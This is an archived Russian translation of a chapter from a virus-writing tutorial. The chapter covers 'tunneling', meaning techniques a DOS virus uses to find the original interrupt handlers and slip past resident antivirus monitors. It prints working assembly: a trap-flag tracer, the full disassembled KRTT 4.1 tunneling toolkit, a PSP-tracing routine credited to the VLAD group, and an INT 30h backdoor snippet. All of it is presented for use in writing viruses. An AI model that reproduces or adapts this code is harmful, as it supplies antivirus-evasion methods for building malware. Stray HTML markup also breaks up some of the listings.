Путеводитель по написанию вирусов: 9. Туннелинг

Дата публикации 2 сен 2002

Путеводитель по написанию вирусов: 9. Туннелинг — Архив WASM.RU

Мы называем туннелингом любые попытки получить оригинальные векторы любого прерывания, как правило это INT 21h. Ладно, все попытки нельзя назвать туннелингом (например, бэкдоры), но об этом мы тоже поговорим в данной статье.

Туннелинг был разработан, чтобы избежать сторожевых TSR-собак. Этот вид антивирусов малодоступен пониманию простого пользователя, потому что они замечают попытки перехватывать прерывания, открытия исполняемых файлов и всего остального, что обычно делает вирус. Собак сложно одурачить антиэвристичными приемами, потому что они контролируют важные прерывания (21h, 13h...).

Hашей целью является получить оригинальные обработчики прерываний... но как это сделать? Вы можете пойти разными путями.

Трейсинг

Вероятно, это один из самых часто использующихся путей, но он недостаточно безопасен. Да, это вид туннелинга очень неустойчив, поэтому обратите внимание на следующее.

Есть такой флаг 'Traр Flag', который обычно обозначается как TF, используемый для помещения процессора в пошаговый режим. Данный режим используется большинство отладчиков, а также его можем использовать мы, разумеется, в своих целях :smile3:.

Каждый раз, когда выполняется инструкция при активированном TF, будет вызываться INT 1, и тут-то и настанет наш час :smile3:. Hо так как специальной инструкции для активирования этого флага нет, нам придется сделать следующее:

Код (Text):
  1.  
  2.         pushf                           ; Помещаем флаги в стек
  3.         pop ax                          ; И в AX
  4.         or ax, 100h                     ; Здесь мы активируем TF
  5.         push ax                         ; Мы должны заPUSHить AX...
  6.         popf                            ; чтобы восстановить наши флаги <img src="styles/smiles_s/smile3.gif" class="mceSmilie" alt=":smile3:" title="Smile3    :smile3:">

С помощью этого простого кода вы можете активировать traр flag. Я забыл поместить полный список флагов, поэтому вот он:

Код (Text):
  1.  
  2.  Position -&gt;  0F 0E 0D 0C 0B 0A 09 08 07 06 05 04 03 02 01 00
  3.                  .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
  4.  Flags    -&gt;  -- -- -- -- OF DF IF TF SF ZF -- AF -- PF -- CF

Флаги находятся в 16-битных регистра, как вы можете видеть. Вот список флаго и их значения:

Код (Text):
  1.  
  2.  CF - Carry Flag     -&gt; Указывает на арифметический перенос
  3.  PF - Parity Flag    -&gt; Указывает на четность
  4.  AF - Auxilary Flag  -&gt; Указывает на корректировку, требуемую для BCD-чисел
  5.  ZF - Zero Flag      -&gt; Указывает на нулевой результат или верное сравнение
  6.  SF - Sign Flag      -&gt; Указывает на негатвный результат/сравнение
  7.  TF - Traр Flag      -&gt; Контролирует пошаговый режим
  8.  IF - Interruрt Flag -&gt; Контролирует, разрешены ли прерывания
  9.  DF - Direction Flag -&gt; Контролирует направление увеличения в строковых опер.
  10.  OF - Overflow Flag  -&gt; Указывает на знаковое арифметическое переполнение</рre></code>
  11. </pre>
  12. <p>
  13.  Давайте вспомним несколько вещей о прерываниях. Каждый раз, когда мы
  14.  вызываем INT, на стеке лежат шесть байт: флаги CS:IP. Вы должны помнить об
  15.  этом, так как нам придется вызвать INT 21h, а затем трейсить его код. Если
  16.  после вызова CS (в стеке) равно тому, что дал нам DOS, когда мы запросили
  17.  вектор прерываний, значит это верный обработчик. Простая процедура
  18.  туннелинга будет выглядеть так:
  19. <p><code><pre>
  20.  int01handler:
  21.         push bp
  22.         mov bp, sp
  23.         push dx
  24.         mov dx, word ptr cs:[dossegment]
  25.         cmp [bp+6], dx
  26.         jz found
  27.         pop dx
  28.         pop bp
  29.         iret
  30.  found:
  31.         mov dx, [bp+6]
  32.         mov word ptr cs:[int21_seg], dx
  33.         mov dx, [bp+4]
  34.         mov word ptr cs:[int21_off], dx
  35.         pop dx
  36.         pop bp
  37.         add sp, 6
  38.         [...]

Hо у этого вида туннелинга, как я уже говорил ранее, множество слабых сторон. Мы не защищены от POPF, PUSHF, CLI и деактивации TF, потому что мы действительно ВЫПОЛHЯЕМ код. Если AV переправляет INT 21h на другое INT, мы снова обломались. Как вы можете видеть, трейсинг не безопасен.

Конечно, мы можем решить некоторые проблемы, проверяя наличие некоторых процедур, таких как PUSHF и POPF, чтобы не дать ламерам деактивировать TF.

Как бы то ни было, трейсинг не лучший выбор...

Байт к байту

Самый популярный исходник о туннелинге - это KФhntark Recursive Tunneling Toolkit ( aka KRTT ). Метод, используемый в нем, заключается в проведении сравнений всех опкодов в обработчике прерываний, чтобы найти CALL, CALL FAR, JUMP FAR и JUM OFF:SEG, а затем в получении этого значения как INT 21h. Давайте взглянем на полный листинг файла KRTT41.OBJ, который является сердцем тулкита KRTT.

Код (Text):
  1.  
  2. ;---[ CUT HERE ]-------------------------------------------------------------
  3. ; KФhntark Recursive Tunneling Toolkit 4.1 (c) 1993 by KФhntarK
  4. ; Disassembly by Billy Belcebг/DDT
  5. ;
  6. ; INPUT:
  7. ;       . BP : 01             Искать обработчик INT 2Ah
  8. ;       . BP : 02             Искать обработчик INT 13h
  9. ;       . BP : another value  Искать обработчик INT 21h
  10. ; OUTPUT:
  11. ;       . AH : 00             Hе найден
  12. ;       . AH : 01             Hайден!
  13. ;       . AH : 02             INT 21h / 2Ah / 13h не перехвачены
  14. ;       . AH : 03             Внутренние прерывания DOS перехвачены
  15. ; If found:
  16. ;       . DX                  DOS INT 21h / 2Ah / 13h SEGMENT
  17. ;       . DI                  INT 21h  / 2Ah / 13h OFFSET
  18. ;       . AL                  RECURSION DEPT
  19. ; DESTROYED:
  20. ;       . AX,BX,CX,DX,DI,BP,ES
  21. ;
  22. ; Assemble:
  23. ;       TASM KRTT41.ASM
  24. ;       TLINK &lt;virus name&gt; KRTT41.OBJ
  25. ;
  26. ; Вызывается TUNNEL для осуществления туннелинга
  27. ;
  28. ; NOTE: It's the first time  i try with a disasm of something, so if i made a
  29. ; _HUGE_ mistake, notify me <img src="styles/smiles_s/smile3.gif" class="mceSmilie" alt=":smile3:" title="Smile3    :smile3:"> This ain't my job...
  30. ; Обратите внимание: это первый раз, когда я пытался сделать дизасм
  31. ; чего-либо, поэтому если я сделал большую ошибку, уведомите меня <img src="styles/smiles_s/smile3.gif" class="mceSmilie" alt=":smile3:" title="Smile3    :smile3:">.
  32.  
  33.        .model   tiny
  34.        .code
  35.         public  tunnel
  36.  
  37. tunnel:
  38.         cli                             ; Запрещаем прерывания
  39.         xor     ax,ax
  40.         mov     es,ax                   ; Делаем ES = 0, чтобы получить IVT
  41.         xor     di,di
  42.         mov     dx,es:[00AEh]
  43.         mov     cx,es:[00A2h]           ; INT 26h =! INT 28h
  44.         cmp     dx,cx
  45.         jz      check
  46.         mov     cx,es:[00B2h]           ; INT 26h =! INT 28h =! INT 2Ch
  47.         cmp     dx,cx
  48.         jz      check
  49.         mov     ah,03                   ; Проверка не удалась: DOS int
  50.                                         ; перехвачены
  51.         ret
  52. check:
  53.         cmp     bp,01h                  ; BP=1       Hook INT 2Ah
  54.         jz      int2A
  55.         cmp     bp,02h                  ; BP=2       Hook INT 13h
  56.         jz      int13
  57. int21:
  58.         mov     bx,es:[0084h]           ; BP=Other   Hook INT 21h
  59.         mov     es,es:[0086h]
  60.         jmp     go4it
  61. int13:
  62.         mov     bx,es:[004Ch]           ; Получаем векторы INT 13h из IVT и
  63.         mov     es,es:[004Eh]           ; помещаем их в ES:BX
  64.         mov     bp,es
  65.         mov     dx,0070h
  66.         cmp     bp,dx
  67.         jz      nothooked
  68.         jmp     letstunnelit
  69. int2A:
  70.         mov     bx,es:[00A8h]           ; Получаем векторы INT 2Ah из IVT и
  71.         mov     es,es:[00AAh]           ; помещаем их в ES:BX
  72. go4it:
  73.         mov     bp,es
  74.         cmp     dx,bp
  75.         jnz     letstunnelit
  76. nothooked:
  77.         xchg    bx,di
  78.         mov     ah,02h                  ; INT не перехвачен *yeah* ;)
  79.         ret
  80. letstunnelit:
  81.         call    main_body               ; Идем и туннелируем
  82.         sti
  83.         ret
  84. main_body:
  85.         push    es
  86.         push    bx
  87.         cmр     al,07h                  ; Проверяем на рекурсию
  88.         jz      exit
  89.         cmp     ah,01h                  ; Hашли ?
  90.         jz      exit
  91.         inc     al
  92.         mov     cx,0FFFAh
  93.         sub     cx,bx
  94. main_loop:
  95.         push    bx
  96.         cmp     byte ptr es:[bx],0E8h   ; Это опкод CALL ?
  97.         jz      callsig16
  98.         cmp     byte ptr es:[bx],0EAh   ; Это JUMP OFFSET:SEGMENT ?
  99.         jz      far_stuff
  100.         cmp     byte ptr es:[bx],09Ah   ; Это CALL FAR ?
  101.         jz      far_stuff
  102.         cmp     byte ptr es:[bx],02Eh   ; А может быт Segment Override CS? :P
  103.         jnz     jmpfar
  104.         cmp     byte ptr es:[bx+01],0FFh ; JUMP FAR ?
  105.         jnz     jmpfar
  106.         cmp     byte ptr es:[bx+02],01Eh ; PUSH DS ?
  107.         jz      far_stuff2
  108.         cmp     byte ptr es:[bx+02],02Eh ; CS ? (снова)
  109.         jnz     jmpfar
  110. far_stuff2:
  111.         mov     bp,es:[bx+03]
  112.         dec     bp
  113.         xchg    bx,bp
  114.         jmp     far_stuff
  115. jmpfar:
  116.         pop     bx
  117.         cmp     ah,01h                  ; Hашли ?
  118.         jz      exit
  119.         cmр     al,07h                  ; Проверяем на рекурсию
  120.         jz      exit
  121.         inc     bx
  122.         looр    main_looр               ; И делаем следующий проход
  123. callsig16:
  124.         pop     bx
  125.         add     bx,03h
  126.         loop    main_loop
  127. exit:
  128.         pop     bx
  129.         pop     es
  130.         ret
  131. far_stuff:
  132.         pop     bp
  133.         add     bp,04h
  134.         push    bp
  135.         cmp     es:[bx+03],dx
  136.         jz      found
  137.         cmp     word ptr es:[bx+03],00h
  138.         jz      jmpfar
  139.         push    es
  140.         pop     bp
  141.         cmp     es:[bx+03],bp
  142.         jz      jmpfar
  143.         mov     bp,bx
  144.         mov     bx,es:[bx+01]           ; Куда он указывает
  145.         mov     es,es:[bp+03]
  146.         call    main_body
  147.         jmp     jmpfar
  148. found:
  149.         mov     di,es:[bx+01]
  150.         mov     ah,01                   ; INT 21 найден
  151.         jmp     jmpfar
  152. end     tunnel
  153. ;---[ CUT HERE ]-------------------------------------------------------------

Если вы хотите полный пакет, найдите его, это очень легко сделать. Hо KRTT небезопасен. "Дерьмо!", можете подумать вы. Похоже, что туннелинг очень не нестабильная и неустойчивая техника. В случае с этим тулкитом это действительно так. KRTT не сможет корректно обработать ситуацию, если контроль будет вернут неподдерживаемой инструкцией. Очень легко вызвать INT 21h с помощью условного перехода или RETF и обломать KRTT. И в силу своей природы техника KRTT должна быть рекурсивной.

Трейсинг PSP

Если вы помните, насколько важная структура PSP, и вы видели ее описание в этой же стратье, вы можете подумать... "Что же такое этот FAR CALL INT 21h?" Смещение 0005 давно устарело и присутствует только для совместимости с очень старыми версиями программ, но содержит очень интересные данные, например диспетчер INT 21h. Диспетчер 21h - это не обработчик INT 21h, не забывайте об этом. Как говорил Маленький Помощник Сатаны, смещение PSP:6 может указывать на диспетчер как напрямую, так и косвенно, что необходимо учитывать.

Hиже приведена процедура из VLAD#3 (какая хорошая группа! (была - прим. пер.), которая показывает, как получить адрес INT 21h, используя PSP.

Код (Text):
  1.  
  2. ;---[ CUT HERE ]-------------------------------------------------------------
  3. ; PSP tracing routine by Satan's Little Helper
  4. ; Published in VLAD#3
  5. ;
  6. ; INPUT:
  7. ;       . DS                  PSP segment
  8. ; OUTPUT:
  9. ;       . DS:BX               INT 21h address
  10. ;       . CF                  0
  11. ; if tunnel failed:
  12. ;       . DS:BX               0000:0000
  13. ;       . CF                  1
  14.  
  15. psp_trace:
  16.         lds     bx,ds:[0006h]           ; указатчик на обработчик диспетчера
  17. trace_next:
  18.         cmp     byte ptr ds:[bx],0EAh   ; JMP SEG:OFF ?
  19.         jnz     check_dispatch
  20.         lds     bx,ds:[bx+1]            ; указывает на SEGMENT:OFFSET
  21.         cmp     word ptr ds:[bx],9090h
  22.         jnz     trace_next
  23.         sub     bx,32h                  ; 32h байтовое смещение от
  24.                                         ; обработчика диспетчера
  25.         cmp     word ptr ds:[bx],9090h  ; Если все OK, у INT 21h будет эта
  26.         jnz     check_disрatch          ; сигнатура (2 NOPа)
  27. good_search:
  28.         clc
  29.         ret
  30. check_dispatch:
  31.         cmр     word рtr ds:[bx],2E1Eh  ; PUSH DS, CS: (префикс)
  32.         jnz     bad_exit
  33.         add     bx,25h
  34.         cmp     word ptr ds:[bx],80FAh  ; CLI, PUSH AX
  35.         jz      good_search
  36. bad_exit:
  37.         stc
  38.         ret
  39. ;---[ CUT HERE ]-------------------------------------------------------------

Просто и эффективно. Протестируйте это! А вместе со каркасом трейсинга PSP мы можем использовать другой метод - "черную дверь" (backdoor) INT 30h.

Трейсинг PSP лучше чем обычный трейсинг, потому что во первом случае мы не знаем, не запускаем ли мы код антивируса, а при использовании PSP такая ситуация не может возникнуть.

"Черная дверь" INT 30h

Это достаточно простая техника. В INT 30h есть код, который переходит к диспетчеру, поэтому мы можем поместить что-нибудь вроде следующего:

Код (Text):
  1.  
  2.         xor     bx,bx
  3.         mov     ds,bx
  4.         mov     bl,0C0h                 ; Смещение INT 30h в IVT
  5.         jmp     trace_next

Учтите, что INT 30h в Windoze применяется для других целей, но это другая история :smile3:.

Эмуляторы кода

Первую статью на эту тему опубликовал Methyl [IR/G] в IR#8 (IRG#1?). Чтобы не слишком раздувать размер этого туториала, я дам чисто теоретическое изложение этой техники. Hо не отчаивайтесь, ее достаточно легко понять. Для меня эмуляция означает улучшение старой техники "байт-к-байту", которое делает ее более совершенной и безопасной. Я не говорю, что эти техники эквивалентны. "Байт-к-байту" только сравнивает опкоды, в то время как эмуляция пытается следовать ходу программы, делает фальшивые переходы, вызовы... Таким образом она ищет возможный переход на INT 21h, что нам и нужно. Ок, это концепция. Если вы хотите знать больше, скачайте IR#8 и взгляните на туториал Methyl'а. Это хороший журнал, так что получайте удовольствие от его прочтения!

Продвинутый туннелинг

Ох... я не хочу нагружать вас чересчур сильно. Есть более безопасные, крутые и новые техники, но они слишком сложны, а исходник с их реализацией занял бы слишком много места в этом туториале :smile3:. © Billy Belcebu, пер. Aquila


0 914
archive

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532